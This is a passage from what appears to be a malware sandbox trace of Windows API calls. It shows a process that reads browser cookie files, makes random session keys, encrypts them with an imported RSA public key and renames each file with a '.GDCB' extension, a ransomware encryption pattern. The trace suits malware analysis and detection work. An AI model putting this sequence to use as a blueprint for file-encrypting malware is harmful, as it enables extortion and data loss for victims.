"c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\xrs5d0n2.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\XRS5D0N2.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\xrs5d0n2.txt.gdcb")) returned 1 [0192.003] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.005] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.006] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.006] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.006] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.006] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.007] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.008] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.008] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.008] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.009] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.011] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038910) returned 1 [0192.011] CryptGetKeyParam (in: hKey=0x5038910, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.011] CryptEncrypt (in: hKey=0x5038910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.011] GetLastError () returned 0x0 [0192.011] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.011] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.013] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038950) returned 1 [0192.014] CryptGetKeyParam (in: hKey=0x5038950, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.014] CryptEncrypt (in: hKey=0x5038950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.014] GetLastError () returned 0x0 [0192.014] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.014] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\XUAUK5R0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\xuauk5r0.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.016] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0192.018] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0192.019] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5e, lpOverlapped=0x0) returned 1 [0192.029] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0192.033] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\XUAUK5R0.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\xuauk5r0.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\XUAUK5R0.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\xuauk5r0.txt.gdcb")) returned 1 [0192.040] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.042] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.043] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.043] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.043] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.043] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.044] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.046] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.046] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.046] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.046] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0192.049] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038850) returned 1 [0192.049] CryptGetKeyParam (in: hKey=0x5038850, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.049] CryptEncrypt (in: hKey=0x5038850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.049] GetLastError () returned 0x0 [0192.049] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0192.049] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0192.051] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038990) returned 1 [0192.051] CryptGetKeyParam (in: hKey=0x5038990, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.051] CryptEncrypt (in: hKey=0x5038990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.051] GetLastError () returned 0x0 [0192.051] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0192.051] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\Y1I415YS.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\y1i415ys.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.054] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0192.055] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0192.056] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5d, lpOverlapped=0x0) returned 1 [0192.065] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0192.070] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\Y1I415YS.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\y1i415ys.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\Y1I415YS.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\y1i415ys.txt.gdcb")) returned 1 [0192.077] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0192.079] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.079] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.079] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0192.080] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.080] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0192.081] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.083] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.083] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0192.083] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.083] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0192.085] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038fd0) returned 1 [0192.085] CryptGetKeyParam (in: hKey=0x5038fd0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.085] CryptEncrypt (in: hKey=0x5038fd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0192.086] GetLastError () returned 0x0 [0192.086] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.086] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0192.088] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5038d90) returned 1 [0192.088] CryptGetKeyParam (in: hKey=0x5038d90, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0192.088] CryptEncrypt (in: hKey=0x5038d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0192.088] GetLastError () returned 0x0 [0192.088] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.088] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\Y3XU5OKR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\y3xu5okr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0192.091] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0192.094] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0192.095] ReadFile (in: hFile=0x518, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d160*=0x5a, lpOverlapped=0x0) returned 1 [0192.104] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0192.109] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\Y3XU5OKR.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\y3xu5okr.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\Y3XU5OKR.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\y3xu5okr.txt.gdcb")) returned 1 [0192.115] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0192.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.118] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.118] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0192.118] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.118] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0192.120] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.121] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.121] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0192.121] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.121] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0192.124] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038e10) returned 1 [0192.124] CryptGetKeyParam (in: hKey=0x5038e10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.124] CryptEncrypt (in: hKey=0x5038e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0192.124] GetLastError () returned 0x0 [0192.124] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.124] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0192.127] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038c90) returned 1 [0192.127] CryptGetKeyParam (in: hKey=0x5038c90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.127] CryptEncrypt (in: hKey=0x5038c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0192.127] GetLastError () returned 0x0 [0192.127] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.127] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\OOUVZSZN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\oouvzszn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0192.129] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0192.131] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0192.132] ReadFile (in: hFile=0x514, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d3e8*=0xa1, lpOverlapped=0x0) returned 1 [0192.141] VirtualAlloc (lpAddress=0x0, dwSize=0xb0, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0192.145] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\OOUVZSZN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\oouvzszn.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\OOUVZSZN.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\oouvzszn.txt.gdcb")) returned 1 [0192.153] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0192.155] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.156] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.156] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0192.156] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0192.156] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0192.158] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.158] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.159] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0192.159] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0192.159] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0192.161] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50389d0) returned 1 [0192.161] CryptGetKeyParam (in: hKey=0x50389d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.161] CryptEncrypt (in: hKey=0x50389d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5f00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0192.161] GetLastError () returned 0x0 [0192.161] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0192.161] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0192.164] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5038c10) returned 1 [0192.164] CryptGetKeyParam (in: hKey=0x5038c10, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0192.164] CryptEncrypt (in: hKey=0x5038c10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5f10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0192.164] GetLastError () returned 0x0 [0192.164] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0192.164] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\TIGZFGLM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\tigzfglm.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0192.166] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f20000 [0192.167] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f30000 [0192.168] ReadFile (in: hFile=0x514, lpBuffer=0x5f30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5f30000*, lpNumberOfBytesRead=0x285d3e8*=0x7a, lpOverlapped=0x0) returned 1 [0192.177] VirtualAlloc (lpAddress=0x0, dwSize=0x80, flAllocationType=0x3000, flProtect=0x4) returned 0x6040000 [0192.182] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\TIGZFGLM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\tigzfglm.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\TIGZFGLM.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\tigzfglm.txt.gdcb")) returned 1 [0192.189] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0192.191] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0192.192] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0192.192] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, 